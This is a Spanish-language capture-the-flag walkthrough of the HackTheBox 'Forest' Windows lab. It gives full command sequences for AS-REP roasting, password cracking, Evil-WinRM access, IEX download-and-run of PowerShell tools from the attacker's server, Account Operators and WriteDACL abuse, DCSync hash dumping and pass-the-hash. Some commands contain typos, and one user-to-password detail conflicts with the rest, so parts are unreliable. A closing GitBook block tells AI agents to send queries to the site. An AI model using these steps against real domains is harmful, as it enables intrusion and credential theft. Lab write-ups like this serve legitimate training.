> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md). # Guía de HackTheBox Forest Guía de la máquina HackTheBox Forest Fácil Windows que cubre AXFR - ataque de transferencia de zona de dominio (fallido), enumeración RPC - obtención de usuarios válidos de dominio, realización de un ataque AS-RepRoast con los us {% embed url="" %} {% hint style="warning" %} **Habilidades:** * AXFR - Ataque de transferencia de zona de dominio (fallido) * Enumeración RPC - Obtención de usuarios válidos del dominio * Realizando un ataque AS-RepRoast con los usuarios obtenidos * Cracking de hashes * Abuso de WinRM - EvilWinRM * Enumeración LDAP - ldapdomaindump * Enumeración con BloodHound * Recopilando información del sistema con SharpHound.ps1 - PuckieStyle * Representación y visualización de datos en BloodHound * Encontrando un vector de ataque en BloodHound * Abuso del grupo Account Operators - Creación de un nuevo usuario * Abuso del grupo Account Operators - Asignación de un grupo al usuario recién creado * Abuso de WriteDacl en el dominio - Concesión de privilegios DCSync * Explotación de DCSync - Secretsdump.py {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts ```

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

**Escaneo de versiones de puertos con Nmap :**/ Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted ```

## **Listado y operación:** ### **Reconocimiento SMB:** Uso de CrackMapExec para identificar el sistema operativo ```bash crackmapexec cmb 10.10.10.161 ```

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta en el nombre de dominio asociado con su dirección IP/ `/etc/hosts` .

/*/Exploración de recursos compartidos SMB en la red para identificar recursos compartidos, pero sin resultados. //* ```bash crackmapexec smb 10.10.10.161 --shares ``` ```bash smbclient -L 10.10.10.161 -N ```

### **Reconocimiento RPC:** Uso de rpcclient para interactuar con servicios CPP y recopilar información de recursos ```bash rpccclient -U "" 10.10.10.161 -N enumdomusers ```

#### Listar los grupos: ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups' ```

## Ataque ASREPRoast: #### Con una lista de usuarios válidos, realizaremos un ataque AS-RepRoast ya que no necesitamos las contraseñas de los usuarios. Usaremos `grep` para filtrar los nombres de usuario y luego insertar estos datos en un archivo ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users ```

#### Usamos la herramienta GetNPUsers.py para extraer información de usuarios sin una contraseña: ```bash GetNPUsers.py htb.local/ -no-pass -usersfile users ```

#### Recuperamos el hash de la contraseña del usuario "lucinda" y tratamos de romperlo con John the Ripper usando una lista de contraseñas predefinida: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

#### Usamos CrackMapExec para comprobar si la contraseña descifrada es correcta intentando una conexión WinRM: ```bash crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

#### Finalmente, usamos Evil-WinRM para conectarnos a la máquina remota con las credenciales descifradas: ```bash evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

## Escalada de privilegios: ### Enumeración del dominio con BloodHound

Instalación de BloodHound:

``` apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` /*/Iniciar sesión en BloodHound con las credenciales neo4j:neo4j. //* ![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74) **Iniciando BloodHound.** ```bash bloodhound &> /dev/null & disown ```

### Recopilar información con SharpHound.ps1 {% embed url="" %} ### Transferir los datos recopilados a un servidor Linux. ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1') ```

```bash Invoke-BloodHound -CollectionMethod All ```

#### Transferimos el archivo zip a nuestro equipo. ```bash download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip ```

/*/Importar el archivo zip en BloodHound. //*

### Análisis y operaciones de BloodHound #### Filtrando datos para encontrar la ruta más corta hasta el administrador del dominio.

#### Identificación de pertenencia a un grupo potencialmente problemático (Account Operator).

#### Uso de la capacidad de creación de usuarios para preparar un ataque DCSync. ```bash net user jordanmacia password123$ /add /domain ```

### Intento de DCSync sin permisos suficientes ```bash impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

#### Se añadió el usuario a un grupo con mayores privilegios (`Exchange Windows Permissions`).

```bash net group "Exchange Windows Permissions" jordanmacia /add ```

### Ataque WriteDACL:

```bash $SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword) ``` Preparando el ataque WriteDACL usando PowerView\.ps1 para añadir funcionalidad. {% embed url="" %}

#### Transferir archivo ``` python3 -m http.server 80 ``` ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')" ``` ## Vulnerabilidad de ataque DCSync #### Ejecutar el comando Add-DomainObjectAcl para obtener los hashes. ``` Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync ``` #### Uso de Impacket para extraer hashes con el usuario jordanmacia. ``` impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

### Ataque Pass-the-Hash: Uso del hash NT del administrador para el ataque Pass-the-Hash. ```bash evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' ``` #### Acceso al sistema con privilegios de administrador.

### Bandera final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.